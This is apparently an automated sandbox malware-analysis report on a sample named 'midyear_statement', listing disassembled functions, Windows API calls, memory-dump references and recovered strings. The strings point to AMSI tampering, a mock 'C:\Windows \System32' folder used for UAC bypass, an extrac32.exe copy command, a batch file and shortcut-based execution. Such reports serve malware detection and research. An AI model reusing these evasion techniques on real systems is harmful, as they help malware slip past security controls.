ScanBuffer, xrefs: 040C2522, 040C2A74, 040C2E2D, 040C3042, 040C331E, 040C3675, 040C3865, 040C3B9F, 040C3EB8, 040C4238, 040C45ED, 040C479A, 040C4A1B, 040C4B81, 040C4CF5, 040C4D71
C:\\Windows\\System32\\extrac32.exe /C /Y , xrefs: 040C465F
ScanString, xrefs: 040C2362, 040C25E4, 040C26DC, 040C285F, 040C2C2E, 040C3104, 040C3449, 040C36F1, 040C376D, 040C3907, 040C3C4C, 040C4010, 040C4381, 040C4E88, 040C4FFD, 040C50B5
C:\Windows \System32\KDECO.bat, xrefs: 040C2CA3
Initialize, xrefs: 040C226A, 040C24A6, 040C297C, 040C2B36, 040C2CB9, 040C2ECE, 040C3A2B, 040C3DC0, 040C41BC, 040C43FD, 040C44F5, 040C46A2, 040C4923
UacInitialize, xrefs: 040C2BB2, 040C2D35, 040C2F4A, 040C3180, 040C339A, 040C34C5, 040C3AA7, 040C3F94
HotKey=, xrefs: 040C508F
.url, xrefs: 040C3F48
cmd /c ", xrefs: 040C340C

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: File$Delete$ExecPath$AddressAttributesCloseCreateHandleLibraryLoadModuleNameName_ProcSleepWrite
String ID: .exe$.url$C:\Users\Public\$C:\Windows \System32\$C:\Windows \System32\KDECO.bat$C:\Windows \System32\netutils.dll$C:\\Users\\Public\\Libraries\\$C:\\Windows\\System32\\extrac32.exe /C /Y $HotKey=$IconIndex=$Initialize$OpenSession$ScanBuffer$ScanString$URL=file:"$UacInitialize$UacScan$[InternetShortcut]$cmd /c "
API String ID: 693508201-254220744
Opcode ID: 37a235da111725a8be751d9b82f1af57908cad11c3025bead4976d8b4d51b0ee
Instruction ID: 18ff4525b3411e58f825c100a069db8f8101ed8f037b4a8b07ac26aa56981386
Opcode Fuzzy Hash: 37a235da111725a8be751d9b82f1af57908cad11c3025bead4976d8b4d51b0ee
Instruction Fuzzy Hash: 8343ED39A511598FEB10EBA4D980FCEB3B5EF8560CF1446E5A008BB610DBB4BE95CF41

Uniqueness

Uniqueness Score: -1.00%

Function 040C5222 Relevance: 18.4, APIs: 2, Strings: 8, Instructions: 941
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 040B7B88: LoadLibraryW.KERNEL32(?,00000000,040B7C3A), ref: 040B7BB8
Part of subcall function 040B7B88: GetModuleHandleW.KERNEL32(?,?,00000000,040B7C3A), ref: 040B7BBE
Part of subcall function 040B7B88: GetProcAddress.KERNEL32(00000000,00000000), ref: 040B7BD7

Part of subcall function 040BD598: RegOpenKeyA.ADVAPI32(?,00000000,041F48C8), ref: 040BD5DC
Part of subcall function 040BD598: RegSetValueExA.ADVAPI32(00000868,00000000,00000000,00000001,00000000,0000001C,00000000,040BD647), ref: 040BD614
Part of subcall function 040BD598: RegCloseKey.ADVAPI32(00000868,00000868,00000000,00000000,00000001,00000000,0000001C,00000000,040BD647), ref: 040BD61F

WinExec.KERNEL32(00000000,00000000), ref: 040C5B1D

Part of subcall function 040B9E10: CompareStringA.KERNEL32(00000400,00000001,00000000,?,00000000), ref: 040B9ED3

RtlMoveMemory.N(00000000,?,00000000,?,ScanBuffer,04100344,040C9768,UacScan,04100344,040C9768,OpenSession,04100344,040C9768,OpenSession,04100344,040C9768), ref: 040C609F

Strings

ScanBuffer, xrefs: 040C541E, 040C5900, 040C5991, 040C5DC1, 040C5F54, 040C60B0, 040C6224
OpenSession, xrefs: 040C5326, 040C5520, 040C5694, 040C5808, 040C5A0D, 040C5C26, 040C5CC9, 040C5E5C, 040C612C
ScanString, xrefs: 040C522E, 040C5710, 040C5BAA, 040C6011
Initialize, xrefs: 040C52AA, 040C5884
UacInitialize, xrefs: 040C5A89
UacScan, xrefs: 040C53A2, 040C559C, 040C5618, 040C578C, 040C5B2E, 040C5D45, 040C5ED8, 040C61A8
C:\Windows\System32\, xrefs: 040C5B07
C:\Users\Public\, xrefs: 040C548E

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: AddressCloseCompareExecHandleLibraryLoadMemoryModuleMoveOpenProcStringValue
String ID: C:\Users\Public\$C:\Windows\System32\$Initialize$OpenSession$ScanBuffer$ScanString$UacInitialize$UacScan
API String ID: 897696978-872072817
Opcode ID: 7709b78fe94aedee2ffe67b0b40eb60f5718656f5af43a7ddb28b9fde174e24e
Instruction ID: 7e7dc9536782209da19b223ae2d0cc7d3775e22953a15af52f612677ccee3e3f
Opcode Fuzzy Hash: 7709b78fe94aedee2ffe67b0b40eb60f5718656f5af43a7ddb28b9fde174e24e
Instruction Fuzzy Hash: DF921B38A411598FE720EBA4D980EDEB3F9EB85308F1445F5A048BB614DBB4BE95CF41

Uniqueness

Uniqueness Score: -1.00%

Function 040A1724 Relevance: 9.0, APIs: 7, Instructions: 289
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,040A1FC1), ref: 040A17D0
Sleep.KERNEL32(0000000A,00000000,?,040A1FC1), ref: 040A17E6

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 31e6b3f594db8c71bf61228af07e952956d9025903babca37a159df0a7d6f0d4
Instruction ID: b3a90d60549a8dbb959ffbe793c1bcc2b28dd4bb2a13d44be15b015059557dc8
Opcode Fuzzy Hash: 31e6b3f594db8c71bf61228af07e952956d9025903babca37a159df0a7d6f0d4
Instruction Fuzzy Hash: 72B143726007518BCB15CFA8D880B59FBE0EF85354F1882BED406AF385E738B861CB91

Uniqueness

Uniqueness Score: -1.00%

Function 040B7AC0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32,00000000,00000000,040B7B45,?,?,00000000,00000000), ref: 040B7B01
GetProcAddress.KERNEL32(00000000,kernel32), ref: 040B7B07
VirtualProtect.KERNEL32(?,?,?,?,00000000,kernel32,00000000,00000000,040B7B45,?,?,00000000,00000000), ref: 040B7B21

Strings

irtualProtect, xrefs: 040B7AD9
kernel32, xrefs: 040B7AFC

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID: irtualProtect$kernel32
API String ID: 2099061454-2063912171
Opcode ID: 5e7b4f2ef62cfa77bdf50750ebc65fec9db39a6c78f13224a972fab3e11c8963
Instruction ID: 8ea331762878d459a7f0e098457de4fb35dbbb8757ff4ec5df9e54a24dd93768
Opcode Fuzzy Hash: 5e7b4f2ef62cfa77bdf50750ebc65fec9db39a6c78f13224a972fab3e11c8963
Instruction Fuzzy Hash: FF017174200248AFE701EFE4DC41FDAB7ACEB88718F504460F544F7640C671FE508A68

Uniqueness

Uniqueness Score: -1.00%

Function 040A1A8C Relevance: 7.7, APIs: 6, Instructions: 175
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,?,00000000,040A1FE4), ref: 040A1B17
Sleep.KERNEL32(0000000A,00000000,?,?,00000000,040A1FE4), ref: 040A1B31

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: ae7c2b19068e25a8dddae24a740692f358ca877e0eff5f7d33bd9f2eeb1a6620
Instruction ID: c2e8cbaaca422acf88d075a9bafb78c07c60e3394d943088f1b7b42e469383c2
Opcode Fuzzy Hash: ae7c2b19068e25a8dddae24a740692f358ca877e0eff5f7d33bd9f2eeb1a6620
Instruction Fuzzy Hash: AA51C1716113408FE715CFA8D984B5ABBD0EF45318F1882BED445EF282E778E869C791

Uniqueness

Uniqueness Score: -1.00%

Function 040BD1CE Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 040BD30E

Strings

Initialize, xrefs: 040BD1FE
ScanBuffer, xrefs: 040BD257
OpenSession, xrefs: 040BD2B0

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 295d627bc7b0683ce93cf15e2436bb0fbcfa4020f902a70c9c17c37c75d6654e
Instruction ID: c00c8a5fcf09a4791153f6c132c67c025ef487ec8175c4e6161450f0fe462c1a
Opcode Fuzzy Hash: 295d627bc7b0683ce93cf15e2436bb0fbcfa4020f902a70c9c17c37c75d6654e
Instruction Fuzzy Hash: 4D410C39B50209AFEB00EBE4D841EDEB3B9EF5960CF254531E040B7641DBB5BD218B95

Uniqueness

Uniqueness Score: -1.00%

Function 040B5B70 Relevance: 4.6, APIs: 3, Instructions: 105fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,040B5CB8,?,?,040B3844,00000001), ref: 040B5BCC
GetLastError.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,040B5CB8,?,?,040B3844,00000001), ref: 040B5BFA

Part of subcall function 040A7CD4: CreateFileA.KERNEL32(00000000,00000000,00000000,00000000,00000003,00000080,00000000,?,?,040B3844,040B5C3A,00000000,040B5CB8,?,?,040B3844), ref: 040A7D22

Part of subcall function 040A7EDC: GetFullPathNameA.KERNEL32(00000000,00000104,?,?,?,040B3844,040B5C55,00000000,040B5CB8,?,?,040B3844,00000001), ref: 040A7EFB

GetLastError.KERNEL32(00000000,040B5CB8,?,?,040B3844,00000001), ref: 040B5C5F

Part of subcall function 040AA6BC: FormatMessageA.KERNEL32(00003200,00000000,?,00000000,?,00000100,00000000,?,040AC31D,00000000,040AC377), ref: 040AA6DB

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: CreateErrorFileLast$FormatFullMessageNamePath
String ID:
API String ID: 503785936-0
Opcode ID: 5ac64c2e1248eff4e081b531386e6801e5fd2f4e5d7d1189c79a4ab7702f009e
Instruction ID: d4ea2fff9c80e88e3093998946ae6b3afd8570ba8afda8d18dd62477930075d4
Opcode Fuzzy Hash: 5ac64c2e1248eff4e081b531386e6801e5fd2f4e5d7d1189c79a4ab7702f009e
Instruction Fuzzy Hash: F1317E70A006089FEB01EFE8CC81BDEB7F5AB4870CF548165D944B7380D779AE158BA9

Uniqueness

Uniqueness Score: -1.00%

Function 040BD596 Relevance: 4.6, APIs: 3, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,041F48C8), ref: 040BD5DC
RegSetValueExA.ADVAPI32(00000868,00000000,00000000,00000001,00000000,0000001C,00000000,040BD647), ref: 040BD614
RegCloseKey.ADVAPI32(00000868,00000868,00000000,00000000,00000001,00000000,0000001C,00000000,040BD647), ref: 040BD61F

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: 11eb1e625078cb91fdce5f6950e59b7a61aedf5335027e79d41f728c7ba2bbc9
Instruction ID: d658e6746ea5991900c715c74e47314201393c1f672f057bbd78432c921337f5
Opcode Fuzzy Hash: 11eb1e625078cb91fdce5f6950e59b7a61aedf5335027e79d41f728c7ba2bbc9
Instruction Fuzzy Hash: 23114C75640608AFEB00EFF9EC81ADEBBE8EB48608F804561F544E7250DB75FE618B54

Uniqueness

Uniqueness Score: -1.00%

Function 040BD598 Relevance: 4.6, APIs: 3, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,041F48C8), ref: 040BD5DC
RegSetValueExA.ADVAPI32(00000868,00000000,00000000,00000001,00000000,0000001C,00000000,040BD647), ref: 040BD614
RegCloseKey.ADVAPI32(00000868,00000868,00000000,00000000,00000001,00000000,0000001C,00000000,040BD647), ref: 040BD61F

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: aa80ba9d7608a97f3c07c91d5be0fca413942939871db3a6bcedb32edff8ebaa
Instruction ID: 495364a6b07f21845f1546992461085dd66a3303431d44cc04d5aef0e4c0002f
Opcode Fuzzy Hash: aa80ba9d7608a97f3c07c91d5be0fca413942939871db3a6bcedb32edff8ebaa
Instruction Fuzzy Hash: 1C114C75640608AFEB00EFF9EC81ADEBBE8EB48608F804561F544E7250DB75FE618B54

Uniqueness

Uniqueness Score: -1.00%

Function 040B7B88 Relevance: 4.6, APIs: 3, Instructions: 52libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,040B7C3A), ref: 040B7BB8
GetModuleHandleW.KERNEL32(?,?,00000000,040B7C3A), ref: 040B7BBE
GetProcAddress.KERNEL32(00000000,00000000), ref: 040B7BD7

Part of subcall function 040B7AC0: GetModuleHandleA.KERNEL32(kernel32,00000000,00000000,040B7B45,?,?,00000000,00000000), ref: 040B7B01
Part of subcall function 040B7AC0: GetProcAddress.KERNEL32(00000000,kernel32), ref: 040B7B07
Part of subcall function 040B7AC0: VirtualProtect.KERNEL32(?,?,?,?,00000000,kernel32,00000000,00000000,040B7B45,?,?,00000000,00000000), ref: 040B7B21

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc$LibraryLoadProtectVirtual
String ID:
API String ID: 2543409266-0
Opcode ID: d0248a79b8189b5bc25fe6d570cff0bb3fa706c2e40069801b6a99d6fa9700d8
Instruction ID: db86ef1b1392de1ff60ea32531ce0e26f6f76d64c4be1de46c84ce93da953336
Opcode Fuzzy Hash: d0248a79b8189b5bc25fe6d570cff0bb3fa706c2e40069801b6a99d6fa9700d8
Instruction Fuzzy Hash: 4001C874600204AFF745EBF4EA41B9E7BA8DB8830CF148464A245BB690DB7ABD108B58

Uniqueness

Uniqueness Score: -1.00%

Function 040AE2A8 Relevance: 4.5, APIs: 3, Instructions: 45COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 040AE2B7

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: aad5d7e2dbc8a5d7d7e6a823b1a559edd35215eebda437dbf07fc5f79c2292d6
Instruction ID: 479fb0efb9746c4d7856411cc83cb13d9bd4caffd6425c4040e5e50b2a22dc3e
Opcode Fuzzy Hash: aad5d7e2dbc8a5d7d7e6a823b1a559edd35215eebda437dbf07fc5f79c2292d6
Instruction Fuzzy Hash: F8F0AF7178811086AB207BF8D8889EE3A999F4421C7104669E14ABB111DB24BC36A3E2

Uniqueness

Uniqueness Score: -1.00%

Function 040A4CC0 Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(040BD6AC), ref: 040A4BDE
SysAllocStringLen.OLEAUT32(?,?), ref: 040A4CCB
SysFreeString.OLEAUT32(00000000), ref: 040A4CDD

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 5bd30a3f01854c66fdfb21c9481b34454127c867239492e85848eeb07452f874
Instruction ID: 2d52cf6a8566d29bd8716e76fb4476510ec54af51e8cd881988e3047cb9ad9f9
Opcode Fuzzy Hash: 5bd30a3f01854c66fdfb21c9481b34454127c867239492e85848eeb07452f874
Instruction Fuzzy Hash: BAE0ECBC2152015EFA542FA09C50BBA3269AFC1758F6444A9A410EE150D778F470A628

Uniqueness

Uniqueness Score: -1.00%

Function 040B7020 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 040B731E

Strings

H, xrefs: 040B70D5

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: FreeString
String ID: H
API String ID: 3341692771-2852464175
Opcode ID: 6b5bdba04471348a7cceef3e888a8fb6dddcefff7c3bd31128ce9544eb6ac80f
Instruction ID: aa974be4a4f55ca8817fe10729acf791b682a39e53ea11a4d0065abaf7737cc3
Opcode Fuzzy Hash: 6b5bdba04471348a7cceef3e888a8fb6dddcefff7c3bd31128ce9544eb6ac80f
Instruction Fuzzy Hash: 40B1CE74A01608AFDB54CF98E880ADDBBF2FF89314F248569E845BB360D735A845CF94

Uniqueness

Uniqueness Score: -1.00%

Function 040AE6A4 Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

VariantCopy.OLEAUT32(00000000,00000000), ref: 040AE6C5

Part of subcall function 040AE2A8: VariantClear.OLEAUT32(?), ref: 040AE2B7

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: Variant$ClearCopy
String ID:
API String ID: 274517740-0
Opcode ID: 94b20921437c57bf2c9b247c651fc0c6f4f376f7c22d3569e2a31f5c6eea4469
Instruction ID: 25f470ca1ec3113afe277e2264c7e3b98d626c71b9b5d900fc850d24486d112f
Opcode Fuzzy Hash: 94b20921437c57bf2c9b247c651fc0c6f4f376f7c22d3569e2a31f5c6eea4469
Instruction Fuzzy Hash: ED11C66034021087E720AFB5C8C4DAF3BDA9F952587084865E44ABF295EA30FC61D3D2

Uniqueness

Uniqueness Score: -1.00%

Function 040AE340 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 040AE380

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: InitVariant
String ID:
API String ID: 1927566239-0
Opcode ID: 69320b788e330c48ef4b2934b6f83dc08a56234b5f8f748247242f1833b0a2af
Instruction ID: 084799056ac30d9afe1481338406d664d1d7e4fb99a430d3ced5061a0a666ef1
Opcode Fuzzy Hash: 69320b788e330c48ef4b2934b6f83dc08a56234b5f8f748247242f1833b0a2af
Instruction Fuzzy Hash: 09312E72644109EBDB50DEE8C888AEE77ECEB09204F544561E909E7250D634F964CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 040B6CB0 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(00000000,?,00000000,040B6CFD,?,?,?,00000000), ref: 040B6CDD

Part of subcall function 040A4BD0: SysFreeString.OLEAUT32(040BD6AC), ref: 040A4BDE

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: FreeFromProgString
String ID:
API String ID: 4225568880-0
Opcode ID: 9f90fee341b2f2bbc0227a4ba2ac20c0d78572435885758c6e76f0f60b5b269c
Instruction ID: 6ed7af38e948ac06289a1dcd64153692e246bebf31411ca6912957b5ddc81e9b
Opcode Fuzzy Hash: 9f90fee341b2f2bbc0227a4ba2ac20c0d78572435885758c6e76f0f60b5b269c
Instruction Fuzzy Hash: CDE0E535614208BBF702EBA0DC11EDA77ACDB8960CB520871E400F2210DA717D1484A5

Uniqueness

Uniqueness Score: -1.00%

Function 040A57D8 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(040A0000,?,00000105), ref: 040A57F6

Part of subcall function 040A5A3C: GetModuleFileNameA.KERNEL32(00000000,?,00000105,040A0000,040CC790), ref: 040A5A58
Part of subcall function 040A5A3C: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,040A0000,040CC790), ref: 040A5A76
Part of subcall function 040A5A3C: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,040A0000,040CC790), ref: 040A5A94
Part of subcall function 040A5A3C: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 040A5AB2
